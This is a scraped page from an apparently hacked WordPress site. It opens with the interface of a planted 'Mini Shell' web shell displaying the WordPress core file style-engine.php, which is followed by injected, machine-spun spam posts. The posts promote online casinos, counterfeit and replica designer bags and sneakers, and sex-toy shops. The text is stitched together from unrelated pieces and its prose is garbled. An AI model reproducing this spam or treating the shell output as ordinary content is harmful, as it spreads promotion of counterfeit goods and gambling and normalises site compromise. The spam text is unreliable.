Mini Shell

Direktori : /home/admin/web/mcpv.demarco.ddnsfree.com/public_html/wp-includes/
Upload File :
Current File : /home/admin/web/mcpv.demarco.ddnsfree.com/public_html/wp-includes/style-engine.php

<?php
/**
 * Style engine: Public functions
 *
 * This file contains a variety of public functions developers can use to interact with
 * the Style Engine API.
 *
 * @package WordPress
 * @subpackage StyleEngine
 * @since 6.1.0
 */


/**
 * Global public interface method to generate styles from a single style object, e.g.,
 * the value of a block's attributes.style object or the top level styles in theme.json.
 * See: https://developer.wordpress.org/block-editor/reference-guides/theme-json-reference/theme-json-living/#styles and
 * https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/
 *
 * Example usage:
 *
 * $styles = wp_style_engine_get_styles( array( 'color' => array( 'text' => '#cccccc' ) ) );
 * // Returns `array( 'css' => 'color: #cccccc', 'declarations' => array( 'color' => '#cccccc' ), 'classnames' => 'has-color' )`.
 *
 * @access public
 * @since 6.1.0
 *
 * @param array $block_styles The style object.
 * @param array $options {
 *     Optional. An array of options. Default empty array.
 *
 *     @type string|null $context                    An identifier describing the origin of the style object, e.g., 'block-supports' or 'global-styles'. Default is `null`.
 *                                                   When set, the style engine will attempt to store the CSS rules, where a selector is also passed.
 *     @type bool        $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns, e.g., `var:preset|<PRESET_TYPE>|<PRESET_SLUG>`, to var( --wp--preset--* ) values. Default `false`.
 *     @type string      $selector                   Optional. When a selector is passed, the value of `$css` in the return value will comprise a full CSS rule `$selector { ...$css_declarations }`,
 *                                                   otherwise, the value will be a concatenated string of CSS declarations.
 * }
 *
 * @return array {
 *     @type string   $css          A CSS ruleset or declarations block formatted to be placed in an HTML `style` attribute or tag.
 *     @type string[] $declarations An associative array of CSS definitions, e.g., array( "$property" => "$value", "$property" => "$value" ).
 *     @type string   $classnames   Classnames separated by a space.
 * }
 */
function wp_style_engine_get_styles( $block_styles, $options = array() ) {
	$options = wp_parse_args(
		$options,
		array(
			'selector'                   => null,
			'context'                    => null,
			'convert_vars_to_classnames' => false,
		)
	);

	$parsed_styles = WP_Style_Engine::parse_block_styles( $block_styles, $options );

	// Output.
	$styles_output = array();

	if ( ! empty( $parsed_styles['declarations'] ) ) {
		$styles_output['css']          = WP_Style_Engine::compile_css( $parsed_styles['declarations'], $options['selector'] );
		$styles_output['declarations'] = $parsed_styles['declarations'];
		if ( ! empty( $options['context'] ) ) {
			WP_Style_Engine::store_css_rule( $options['context'], $options['selector'], $parsed_styles['declarations'] );
		}
	}

	if ( ! empty( $parsed_styles['classnames'] ) ) {
		$styles_output['classnames'] = implode( ' ', array_unique( $parsed_styles['classnames'] ) );
	}

	return array_filter( $styles_output );
}

/**
 * Returns compiled CSS from a collection of selectors and declarations.
 * Useful for returning a compiled stylesheet from any collection of  CSS selector + declarations.
 *
 * Example usage:
 * $css_rules = array( array( 'selector' => '.elephant-are-cool', 'declarations' => array( 'color' => 'gray', 'width' => '3em' ) ) );
 * $css       = wp_style_engine_get_stylesheet_from_css_rules( $css_rules );
 * // Returns `.elephant-are-cool{color:gray;width:3em}`.
 *
 * @since 6.1.0
 *
 * @param array $css_rules {
 *     Required. A collection of CSS rules.
 *
 *     @type array ...$0 {
 *         @type string   $selector     A CSS selector.
 *         @type string[] $declarations An associative array of CSS definitions, e.g., array( "$property" => "$value", "$property" => "$value" ).
 *     }
 * }
 * @param array $options {
 *     Optional. An array of options. Default empty array.
 *
 *     @type string|null $context  An identifier describing the origin of the style object, e.g., 'block-supports' or 'global-styles'. Default is 'block-supports'.
 *                                 When set, the style engine will attempt to store the CSS rules.
 *     @type bool        $optimize Whether to optimize the CSS output, e.g., combine rules. Default is `false`.
 *     @type bool        $prettify Whether to add new lines and indents to output. Default is the test of whether the global constant `SCRIPT_DEBUG` is defined.
 * }
 *
 * @return string A string of compiled CSS declarations, or empty string.
 */
function wp_style_engine_get_stylesheet_from_css_rules( $css_rules, $options = array() ) {
	if ( empty( $css_rules ) ) {
		return '';
	}

	$options = wp_parse_args(
		$options,
		array(
			'context' => null,
		)
	);

	$css_rule_objects = array();
	foreach ( $css_rules as $css_rule ) {
		if ( empty( $css_rule['selector'] ) || empty( $css_rule['declarations'] ) || ! is_array( $css_rule['declarations'] ) ) {
			continue;
		}

		if ( ! empty( $options['context'] ) ) {
			WP_Style_Engine::store_css_rule( $options['context'], $css_rule['selector'], $css_rule['declarations'] );
		}

		$css_rule_objects[] = new WP_Style_Engine_CSS_Rule( $css_rule['selector'], $css_rule['declarations'] );
	}

	if ( empty( $css_rule_objects ) ) {
		return '';
	}

	return WP_Style_Engine::compile_stylesheet_from_css_rules( $css_rule_objects, $options );
}

/**
 * Returns compiled CSS from a store, if found.
 *
 * @since 6.1.0
 *
 * @param string $context A valid context name, corresponding to an existing store key.
 * @param array  $options {
 *     Optional. An array of options. Default empty array.
 *
 *     @type bool $optimize Whether to optimize the CSS output, e.g., combine rules. Default is `false`.
 *     @type bool $prettify Whether to add new lines and indents to output. Default is the test of whether the global constant `SCRIPT_DEBUG` is defined.
 * }
 *
 * @return string A compiled CSS string.
 */
function wp_style_engine_get_stylesheet_from_context( $context, $options = array() ) {
	return WP_Style_Engine::compile_stylesheet_from_css_rules( WP_Style_Engine::get_store( $context )->get_all_rules(), $options );
}
September 12, 2021 – Base de données MCPV "Prestataires"

Day: September 12, 2021

This library consists of the entire classics

Play Online Casino Games For Money They’re easy to play and don’t want any particular strategy—just press spin or autoplay. Unlike desk games like poker or roulette joycasino1com.s3.amazonaws.com/index.html, slots are simple and enjoyable. To get began with on-line slots, follow these primary steps that will assist you feel extra confident. We contemplate a site’s bonuses…

Read More

I even have offered this manufacturing facility for a couple

Reusable Folding Tote Bags Our loyal clients keep coming back as a end result of they know they’ll obtain a product that exceeds trade standards and displays our unwavering integrity. The manufacturing of plastic luggage begins with the transformation of raw polymer resins into skinny, flexible sheets of plastic film. Several processes are used 187…

Read More

It can’t be replicated with artificial materials

The Rise Of Duplicate Baggage In China: Developments And Insights From Prada bag dupes that’ll make your arm candy dreams come true to Prada shoe dupes that’ll have you ever stepping out in fashion, we’ve coated all of it. The Kate Spade Sam Icon Small Convertible Crossbody is a unbelievable dupe for the long-lasting Prada…

Read More

If you have a ardour for pleasure and run a successful website

Vibrators & Grownup Toys : Target While they most closely resemble bullet vibrators and work extraordinarily properly for clitoral stimulation, they can actually be used for G-spot stimulation too. Some, just like the best-selling Lovense Lush 2 Tess Realistic Dildo Vibrator, have a longer shaft for higher inside reach. With hours of analysis and our…

Read More

The device’s silicone body is straightforward to hold due to

India’s #1 Intercourse Toys On-line Viva Awa Grownup Toys Shop While Revolve doesn’t provide a ton of choices, they do carry some really nice vibrators sex toy lesbian butterfly bead sexual sex gauge, cock rings, and different pleasure products. But that retains the selection process fun, rather than overwhelming. Lelo’s high-quality options are equal components…

Read More

The Replica sneakers in nappa leather and suede with the

Best Replica Sneakers Website in UK The rise of replica shoes has sparked debates about ethics in the fashion industry. While replicas provide affordability and accessibility, they also challenge the intellectual property rights of original brands. Some consumers prioritize cost savings and personal expression, while others prefer to support authentic brands directly. In addition, counterfeit…

Read More

Ultimately, after all, communication is vital to determining

Discover An Adam & Eve Adult Retailer Near You Intercourse Toy Retailer Locations Whether you’re shopping for a rabbit vibrator, a clitoral stimulator, a dildo, or anal beads, we have got every thing you have to reach your best level of sexual pleasure. Why is Babeland top-of-the-line locations to purchase sex toys online in 2023?…

Read More

These toys are normally C-shaped (or may be bent into that

Sex Toys Products Supply Or Pickup Near Me At the top you’ll find the (now viral) clitoral suction stimulator followers claim gets them off in beneath 5 minutes. At the other end is a 3.5-inch egg Crystal Blue Dog Dildo Realistic, programmed to ship three speeds and 6 pulsing patterns. Long gone are the days…

Read More

With BDSM, it’s important to remain open-minded to new

Greatest Adult Toys Online For Him, Her & Couples If you’re looking for one of the best selection of erotic toys for sale strap on viberator, then you must visit our web site proper now for one of the largest choices on-line. Whether you’re seeking lubricants, blindfolds, butt plugs or bondage gear, we have some…

Read More

c, and she estimates that she makes around $5,000 a month

Do You Have To Buy A Faux Designer Bag? Execs fake bags online1, Cons fake bags, And Options Perhaps there is a kingpin, but what’s more likely is that a quantity of New Yorkers affordbag, a few of them wealthy fake bags online, are appearing as middlemen, shipping the luggage over in bulk and holding…

Read More